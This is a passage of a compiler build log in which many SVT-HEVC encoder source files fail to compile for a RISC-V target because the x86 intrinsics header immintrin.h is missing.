/usr/bin/cc -DSvtHevcEnc_EXPORTS -I/build/svt-hevc/src/build/Source/Lib/Codec -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec -I/build/svt-hevc/src/SVT-HEVC/Source/API -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSSE3 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE4_1 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_AVX2 -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/Codec/CMakeFiles/SvtHevcEnc.dir/EbEncDecTasks.c.o -MF Source/Lib/Codec/CMakeFiles/SvtHevcEnc.dir/EbEncDecTasks.c.o.d -o Source/Lib/Codec/CMakeFiles/SvtHevcEnc.dir/EbEncDecTasks.c.o -c /build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbEncDecTasks.c
In file included from /build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbEncDecTasks.c:8:
/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbDefinitions.h:228:10: fatal error: immintrin.h: No such file or directory
  228 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[39/137] Building C object Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbMcp_Intrinsic_SSE2.c.o
FAILED: Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbMcp_Intrinsic_SSE2.c.o 
/usr/bin/cc  -I/build/svt-hevc/src/build/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/API -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbMcp_Intrinsic_SSE2.c.o -MF Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbMcp_Intrinsic_SSE2.c.o.d -o Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbMcp_Intrinsic_SSE2.c.o -c /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2/EbMcp_Intrinsic_SSE2.c
In file included from /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2/EbMcp_Intrinsic_SSE2.c:6:
/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbDefinitions.h:228:10: fatal error: immintrin.h: No such file or directory
  228 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[40/137] Building C object Source/Lib/ASM_SSSE3/CMakeFiles/HEVC_ASM_SSSE3.dir/EbAvcStyleMcp_Intrinsic_SSSE3.c.o
FAILED: Source/Lib/ASM_SSSE3/CMakeFiles/HEVC_ASM_SSSE3.dir/EbAvcStyleMcp_Intrinsic_SSSE3.c.o 
/usr/bin/cc  -I/build/svt-hevc/src/build/Source/Lib/ASM_SSSE3 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSSE3 -I/build/svt-hevc/src/SVT-HEVC/Source/API -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE4_1 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_AVX2 -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/ASM_SSSE3/CMakeFiles/HEVC_ASM_SSSE3.dir/EbAvcStyleMcp_Intrinsic_SSSE3.c.o -MF Source/Lib/ASM_SSSE3/CMakeFiles/HEVC_ASM_SSSE3.dir/EbAvcStyleMcp_Intrinsic_SSSE3.c.o.d -o Source/Lib/ASM_SSSE3/CMakeFiles/HEVC_ASM_SSSE3.dir/EbAvcStyleMcp_Intrinsic_SSSE3.c.o -c /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSSE3/EbAvcStyleMcp_Intrinsic_SSSE3.c
In file included from /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSSE3/EbAvcStyleMcp_SSSE3.h:9,
                 from /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSSE3/EbAvcStyleMcp_Intrinsic_SSSE3.c:6:
/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbDefinitions.h:228:10: fatal error: immintrin.h: No such file or directory
  228 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[41/137] Building C object Source/Lib/ASM_SSE4_1/CMakeFiles/HEVC_ASM_SSE4_1.dir/EbIntraPrediction16bit_Intrinsic_SSE4_1.c.o
FAILED: Source/Lib/ASM_SSE4_1/CMakeFiles/HEVC_ASM_SSE4_1.dir/EbIntraPrediction16bit_Intrinsic_SSE4_1.c.o 
/usr/bin/cc  -I/build/svt-hevc/src/build/Source/Lib/ASM_SSE4_1 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE4_1 -I/build/svt-hevc/src/SVT-HEVC/Source/API -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSSE3 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_AVX2 -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/ASM_SSE4_1/CMakeFiles/HEVC_ASM_SSE4_1.dir/EbIntraPrediction16bit_Intrinsic_SSE4_1.c.o -MF Source/Lib/ASM_SSE4_1/CMakeFiles/HEVC_ASM_SSE4_1.dir/EbIntraPrediction16bit_Intrinsic_SSE4_1.c.o.d -o Source/Lib/ASM_SSE4_1/CMakeFiles/HEVC_ASM_SSE4_1.dir/EbIntraPrediction16bit_Intrinsic_SSE4_1.c.o -c /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE4_1/EbIntraPrediction16bit_Intrinsic_SSE4_1.c
In file included from /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE4_1/EbIntraPrediction16bit_Intrinsic_SSE4_1.c:6:
/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbDefinitions.h:228:10: fatal error: immintrin.h: No such file or directory
  228 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[42/137] Building C object Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbMcp_C.c.o
FAILED: Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbMcp_C.c.o 
/usr/bin/cc  -I/build/svt-hevc/src/build/Source/Lib/C_DEFAULT -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT -I/build/svt-hevc/src/SVT-HEVC/Source/API -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbMcp_C.c.o -MF Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbMcp_C.c.o.d -o Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbMcp_C.c.o -c /build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT/EbMcp_C.c
In file included from /build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT/EbMcp_C.h:9,
                 from /build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT/EbMcp_C.c:6:
/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbDefinitions.h:228:10: fatal error: immintrin.h: No such file or directory
  228 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[43/137] Building C object Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbIntraPrediction_Intrinsic_SSE2.c.o
FAILED: Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbIntraPrediction_Intrinsic_SSE2.c.o 
/usr/bin/cc  -I/build/svt-hevc/src/build/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/API -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbIntraPrediction_Intrinsic_SSE2.c.o -MF Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbIntraPrediction_Intrinsic_SSE2.c.o.d -o Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbIntraPrediction_Intrinsic_SSE2.c.o -c /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2/EbIntraPrediction_Intrinsic_SSE2.c
In file included from /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2/EbIntraPrediction_Intrinsic_SSE2.c:6:
/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbDefinitions.h:228:10: fatal error: immintrin.h: No such file or directory
  228 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[44/137] Building C object Source/Lib/ASM_AVX2/CMakeFiles/HEVC_ASM_AVX2.dir/EbCombinedAveragingSAD_Intrinsic_AVX2.c.o
FAILED: Source/Lib/ASM_AVX2/CMakeFiles/HEVC_ASM_AVX2.dir/EbCombinedAveragingSAD_Intrinsic_AVX2.c.o 
/usr/bin/cc  -I/build/svt-hevc/src/build/Source/Lib/ASM_AVX2 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_AVX2 -I/build/svt-hevc/src/SVT-HEVC/Source/API -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSSE3 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE4_1 -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/ASM_AVX2/CMakeFiles/HEVC_ASM_AVX2.dir/EbCombinedAveragingSAD_Intrinsic_AVX2.c.o -MF Source/Lib/ASM_AVX2/CMakeFiles/HEVC_ASM_AVX2.dir/EbCombinedAveragingSAD_Intrinsic_AVX2.c.o.d -o Source/Lib/ASM_AVX2/CMakeFiles/HEVC_ASM_AVX2.dir/EbCombinedAveragingSAD_Intrinsic_AVX2.c.o -c /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_AVX2/EbCombinedAveragingSAD_Intrinsic_AVX2.c
In file included from /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_AVX2/EbCombinedAveragingSAD_Intrinsic_AVX2.h:9,
                 from /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_AVX2/EbCombinedAveragingSAD_Intrinsic_AVX2.c:7:
/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbDefinitions.h:228:10: fatal error: immintrin.h: No such file or directory
  228 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[45/137] Building C object Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbApplySaoLcu16bit_Intrinsic_SSE2.c.o
FAILED: Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbApplySaoLcu16bit_Intrinsic_SSE2.c.o 
/usr/bin/cc  -I/build/svt-hevc/src/build/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/API -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbApplySaoLcu16bit_Intrinsic_SSE2.c.o -MF Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbApplySaoLcu16bit_Intrinsic_SSE2.c.o.d -o Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbApplySaoLcu16bit_Intrinsic_SSE2.c.o -c /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2/EbApplySaoLcu16bit_Intrinsic_SSE2.c
In file included from /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2/EbApplySaoLcu16bit_Intrinsic_SSE2.c:6:
/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbDefinitions.h:228:10: fatal error: immintrin.h: No such file or directory
  228 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[46/137] Building C object Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbIntraPrediction16bit_Intrinsic_SSE2.c.o
FAILED: Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbIntraPrediction16bit_Intrinsic_SSE2.c.o 
/usr/bin/cc  -I/build/svt-hevc/src/build/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/API -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbIntraPrediction16bit_Intrinsic_SSE2.c.o -MF Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbIntraPrediction16bit_Intrinsic_SSE2.c.o.d -o Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbIntraPrediction16bit_Intrinsic_SSE2.c.o -c /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2/EbIntraPrediction16bit_Intrinsic_SSE2.c
In file included from /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2/EbIntraPrediction16bit_Intrinsic_SSE2.c:6:
/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbDefinitions.h:228:10: fatal error: immintrin.h: No such file or directory
  228 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[47/137] Building C object Source/Lib/ASM_AVX2/CMakeFiles/HEVC_ASM_AVX2.dir/EbComputeSAD_SadLoopKernel_AVX512.c.o
FAILED: Source/Lib/ASM_AVX2/CMakeFiles/HEVC_ASM_AVX2.dir/EbComputeSAD_SadLoopKernel_AVX512.c.o 
/usr/bin/cc  -I/build/svt-hevc/src/build/Source/Lib/ASM_AVX2 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_AVX2 -I/build/svt-hevc/src/SVT-HEVC/Source/API -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSSE3 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE4_1 -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/ASM_AVX2/CMakeFiles/HEVC_ASM_AVX2.dir/EbComputeSAD_SadLoopKernel_AVX512.c.o -MF Source/Lib/ASM_AVX2/CMakeFiles/HEVC_ASM_AVX2.dir/EbComputeSAD_SadLoopKernel_AVX512.c.o.d -o Source/Lib/ASM_AVX2/CMakeFiles/HEVC_ASM_AVX2.dir/EbComputeSAD_SadLoopKernel_AVX512.c.o -c /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_AVX2/EbComputeSAD_SadLoopKernel_AVX512.c
In file included from /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_AVX2/EbComputeSAD_SadLoopKernel_AVX512.c:6:
/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbDefinitions.h:228:10: fatal error: immintrin.h: No such file or directory
  228 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[48/137] Building C object Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbTransforms_Intrinsic_SSE2.c.o
FAILED: Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbTransforms_Intrinsic_SSE2.c.o 
/usr/bin/cc  -I/build/svt-hevc/src/build/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/API -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbTransforms_Intrinsic_SSE2.c.o -MF Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbTransforms_Intrinsic_SSE2.c.o.d -o Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbTransforms_Intrinsic_SSE2.c.o -c /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2/EbTransforms_Intrinsic_SSE2.c
In file included from /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2/EbTransforms_SSE2.h:9,
                 from /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2/EbTransforms_Intrinsic_SSE2.c:7:
/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbDefinitions.h:228:10: fatal error: immintrin.h: No such file or directory
  228 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[49/137] Building C object Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbMeSadCalculation_C.c.o
FAILED: Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbMeSadCalculation_C.c.o 
/usr/bin/cc  -I/build/svt-hevc/src/build/Source/Lib/C_DEFAULT -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT -I/build/svt-hevc/src/SVT-HEVC/Source/API -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbMeSadCalculation_C.c.o -MF Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbMeSadCalculation_C.c.o.d -o Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbMeSadCalculation_C.c.o -c /build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT/EbMeSadCalculation_C.c
In file included from /build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT/EbMeSadCalculation_C.h:9,
                 from /build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT/EbMeSadCalculation_C.c:6:
/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbDefinitions.h:228:10: fatal error: immintrin.h: No such file or directory
  228 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[50/137] Building C object Source/Lib/ASM_AVX2/CMakeFiles/HEVC_ASM_AVX2.dir/EbCombinedAveragingSAD_Intrinsic_AVX512.c.o
FAILED: Source/Lib/ASM_AVX2/CMakeFiles/HEVC_ASM_AVX2.dir/EbCombinedAveragingSAD_Intrinsic_AVX512.c.o 
/usr/bin/cc  -I/build/svt-hevc/src/build/Source/Lib/ASM_AVX2 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_AVX2 -I/build/svt-hevc/src/SVT-HEVC/Source/API -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSSE3 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE4_1 -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/ASM_AVX2/CMakeFiles/HEVC_ASM_AVX2.dir/EbCombinedAveragingSAD_Intrinsic_AVX512.c.o -MF Source/Lib/ASM_AVX2/CMakeFiles/HEVC_ASM_AVX2.dir/EbCombinedAveragingSAD_Intrinsic_AVX512.c.o.d -o Source/Lib/ASM_AVX2/CMakeFiles/HEVC_ASM_AVX2.dir/EbCombinedAveragingSAD_Intrinsic_AVX512.c.o -c /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_AVX2/EbCombinedAveragingSAD_Intrinsic_AVX512.c
In file included from /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_AVX2/EbCombinedAveragingSAD_Intrinsic_AVX512.c:6:
/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbDefinitions.h:228:10: fatal error: immintrin.h: No such file or directory
  228 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[51/137] Building C object Source/Lib/ASM_AVX2/CMakeFiles/HEVC_ASM_AVX2.dir/EbIntraPrediction_Intrinsic_AVX2.c.o
FAILED: Source/Lib/ASM_AVX2/CMakeFiles/HEVC_ASM_AVX2.dir/EbIntraPrediction_Intrinsic_AVX2.c.o 
/usr/bin/cc  -I/build/svt-hevc/src/build/Source/Lib/ASM_AVX2 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_AVX2 -I/build/svt-hevc/src/SVT-HEVC/Source/API -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSSE3 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE4_1 -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/ASM_AVX2/CMakeFiles/HEVC_ASM_AVX2.dir/EbIntraPrediction_Intrinsic_AVX2.c.o -MF Source/Lib/ASM_AVX2/CMakeFiles/HEVC_ASM_AVX2.dir/EbIntraPrediction_Intrinsic_AVX2.c.o.d -o Source/Lib/ASM_AVX2/CMakeFiles/HEVC_ASM_AVX2.dir/EbIntraPrediction_Intrinsic_AVX2.c.o -c /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_AVX2/EbIntraPrediction_Intrinsic_AVX2.c
In file included from /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_AVX2/EbIntraPrediction_Intrinsic_AVX2.c:6:
/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbDefinitions.h:228:10: fatal error: immintrin.h: No such file or directory
  228 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[52/137] Building C object Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbSaoStatistics_Intrinsic_SSE2.c.o
FAILED: Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbSaoStatistics_Intrinsic_SSE2.c.o 
/usr/bin/cc  -I/build/svt-hevc/src/build/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/API -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbSaoStatistics_Intrinsic_SSE2.c.o -MF Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbSaoStatistics_Intrinsic_SSE2.c.o.d -o Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbSaoStatistics_Intrinsic_SSE2.c.o -c /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2/EbSaoStatistics_Intrinsic_SSE2.c
In file included from /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2/EbSaoStatistics_Intrinsic_SSE2.c:6:
/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbDefinitions.h:228:10: fatal error: immintrin.h: No such file or directory
  228 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[53/137] Building C object Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbPictureOperators_C.c.o
FAILED: Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbPictureOperators_C.c.o 
